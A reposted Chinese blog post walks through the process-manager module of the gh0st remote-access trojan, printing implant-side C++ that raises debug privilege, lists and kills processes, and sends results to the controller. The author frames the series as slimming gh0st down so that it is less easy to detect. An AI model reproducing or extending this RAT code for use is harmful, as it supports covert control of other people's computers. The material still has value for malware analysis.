本文轉(zhuǎn)自:https://www./C/gh0st_1.html 原作者: phithon 以后對于gh0st的文章,,就是一個一個模塊的分析,。原本gh0st就是由很多功能組成的一個強(qiáng)大的遠(yuǎn)控,但有些東西并不是功能越強(qiáng)大越好,。我們到最后,,會做一個gh0st的精簡,留下最重要的功能,,淘汰一些龐大而容易暴露的功能,。所以,只有我們模塊化了一個軟件之后,,我們才能更方便地去刪除或增加一個功能,,否則刪除掉某個模塊之后導(dǎo)致整個gh0st運(yùn)行不了了,得不償失,。
今天帶來的是進(jìn)程管理模塊,,這個模塊文件是SystemManager.cpp。
我們先來看被控端,,一個獲取當(dāng)前進(jìn)程列表的模塊,。調(diào)用的相關(guān)api是CreateToolhelp32Snapshot -> Process32First -> OpenProcess -> EnumProcessModules -> GetModuleFileNameEx -> Process32Next -> CloseHandle
首先調(diào)用CreateToolhelp32Snapshot 創(chuàng)建當(dāng)前進(jìn)程列表的快照,再調(diào)用Process32First獲得快照中第一個進(jìn)程句柄,,OpenProcess打開此進(jìn)程,,EnumProcessModules列舉這個進(jìn)程引用的模塊(第一個模塊就是進(jìn)程自身,,原本這個函數(shù)應(yīng)該返回該進(jìn)程所有模塊的一個數(shù)組,但因為我只需要第一個模塊,,所以傳入一個HMODULE型地址即可)。得到他自身的模塊后,,GetModuleFileNameEx獲得其完整名稱,。此時就算獲取到了進(jìn)程列表中一個進(jìn)程信息,再使用Process32Next獲得下一個進(jìn)程,,重復(fù)以上步驟,。
最后當(dāng)Process32Next獲取不到進(jìn)程后,就算將整個進(jìn)程列表快照遍歷完了,,調(diào)用CloseHandle關(guān)閉快照句柄即可,。
流程圖如下:
下面就是gh0st中,獲取進(jìn)程列表的代碼:
01 | LPBYTE CSystemManager::getProcessList() |
03 | HANDLE hSnapshot = NULL; |
04 | HANDLE hProcess = NULL; |
05 | HMODULE hModules = NULL; |
06 | PROCESSENTRY32 pe32 = {0}; |
08 | char strProcessName[MAX_PATH] = {0}; |
09 | LPBYTE lpBuffer = NULL; |
12 | DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取權(quán)限 |
13 | //創(chuàng)建系統(tǒng)快照 |
14 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); |
16 | if (hSnapshot == INVALID_HANDLE_VALUE) |
19 | pe32.dwSize = sizeof (PROCESSENTRY32); |
21 | lpBuffer = ( LPBYTE )LocalAlloc(LPTR, 1024); //暫時分配一下緩沖區(qū) |
23 | lpBuffer[0] = TOKEN_PSLIST; //注意這個是數(shù)據(jù)頭 一會我們到主控端來搜索這個數(shù)據(jù)頭 |
26 | if (Process32First(hSnapshot, &pe32)) //得到第一個進(jìn)程順便判斷一下系統(tǒng)快照是否成功 |
31 | hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); |
32 | if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) |
35 | EnumProcessModules(hProcess, &hModules, sizeof (hModules), &cbNeeded); |
37 | GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof (strProcessName)); |
38 | //開始計算占用的緩沖區(qū),, 我們關(guān)心他的發(fā)送的數(shù)據(jù)結(jié)構(gòu) |
39 | // 此進(jìn)程占用數(shù)據(jù)大小 |
40 | dwLength = sizeof ( DWORD ) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2; |
42 | if (LocalSize(lpBuffer) < (dwOffset + dwLength)) |
43 | lpBuffer = ( LPBYTE )LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); |
45 | //接下來三個memcpy就是向緩沖區(qū)里存放數(shù)據(jù) 數(shù)據(jù)結(jié)構(gòu)是 進(jìn)程ID+進(jìn)程名+0+進(jìn)程完整名+0 |
46 | //為什么加0 ?因為字符數(shù)據(jù)是以0 結(jié)尾的 |
47 | memcpy (lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof ( DWORD )); |
48 | dwOffset += sizeof ( DWORD ); |
50 | memcpy (lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); |
51 | dwOffset += lstrlen(pe32.szExeFile) + 1; |
53 | memcpy (lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1); |
54 | dwOffset += lstrlen(strProcessName) + 1; |
57 | while (Process32Next(hSnapshot, &pe32)); //繼續(xù)得到下一個快照 |
59 | //用lpbuffer獲得整個緩沖區(qū) |
60 | lpBuffer = ( LPBYTE )LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE); |
62 | DebugPrivilege(SE_DEBUG_NAME, FALSE); //還原提權(quán) |
63 | CloseHandle(hSnapshot); //釋放句柄 |
64 | return lpBuffer; //這個數(shù)據(jù)返回后就是發(fā)送了 之前講過了,,我們可以到主控端去搜索TOKEN_PSLIST了,。 |
代碼基本上就跟我的流程圖一樣的過程,用一個do..while循環(huán),,遍歷整個進(jìn)程列表快照,。其中調(diào)用的EnumProcessModules函數(shù)要注意,傳入的第二個參數(shù)是一個HMODULE類型指針,,而不是MSDN中說的數(shù)組,。當(dāng)然也可以理解成只含有一個HMODULE類型變量的數(shù)組,因為我只需要第一個模塊信息就行了,。
獲得了可執(zhí)行文件名,、詳細(xì)名稱后,gh0st用了一個結(jié)構(gòu):“進(jìn)程ID+進(jìn)程名+0+進(jìn)程完整名+0”來保存他們,。0相當(dāng)于一個分隔符,,將信息分割開。在主控端取進(jìn)程信息的時候就直接取一個數(shù)字,,兩個字符串即可,,因為字符串就是以0結(jié)尾。
這個函數(shù)最前面調(diào)用了一個DebugPrivilege,,這就是一個簡單的提權(quán)函數(shù),,在很多地方都用到過,我就不多講了,。
所以,,最后getProcessList函數(shù)返回的就是一個包含所有進(jìn)程信息的一個緩沖區(qū),,類似這樣"01ieplorer.exe\0IE瀏覽器\002qq.exe\0騰訊QQ\0...."。
SendProcessList調(diào)用了這個函數(shù),,并把獲得的緩沖區(qū)發(fā)送給主控端:
01 | void CSystemManager::SendProccessList() |
04 | LPBYTE lpBuffer = getProcessList(); //得到進(jìn)程列表的數(shù)據(jù),,一會轉(zhuǎn)到 getProcessList定義 |
08 | Send(( LPBYTE )lpBuffer, LocalSize(lpBuffer)); //得到發(fā)送得到的進(jìn)程列表數(shù)據(jù) |
這就是被控端上獲取所有進(jìn)程信息并發(fā)送給主控端的一個過程。
我之前文章里也說過,,被控端中每一個模塊類中,,都有一個固定的方法,叫OnReceive,,這是當(dāng)主控端發(fā)送來的命令,,會最終被傳遞給這個方法。這個方法就來根據(jù)命令調(diào)度需要執(zhí)行的功能,。
所以,,SystemManager類也有這個方法:
01 | void CSystemManager::OnReceive( LPBYTE lpBuffer, UINT nSize) |
12 | case COMMAND_DIALUPASS: |
13 | //SendDialupassList(); |
15 | case COMMAND_KILLPROCESS: //這里是進(jìn)程管理接收數(shù)據(jù)的函數(shù)了 在這里判斷是那個命令,到KillProcess定義 |
16 | KillProcess(( LPBYTE )lpBuffer + 1, nSize - 1); |
lpBuffer[0]就是命令,,我們可以看到,,如果它的值是COMMAND_PSLIST的話,就會執(zhí)行SendProcessList,,也就是發(fā)送所有進(jìn)程列表,,如果是COMMAND_KILLPROCESS,那就就會執(zhí)行KillProcess,,結(jié)束某個進(jìn)程,。
另外還有兩個命令,他們是窗口管理和撥號管理的功能,。實際上,,這兩個功能并不太需要,可以直接精簡掉,。我們暫時將之注釋,。
下次我會說到,主控端界面的一些編寫(主要是tab標(biāo)簽頁的制作),,和接收來自被控端的數(shù)據(jù),,并顯示到頁面上。最終完成這個進(jìn)程管理模塊,。
|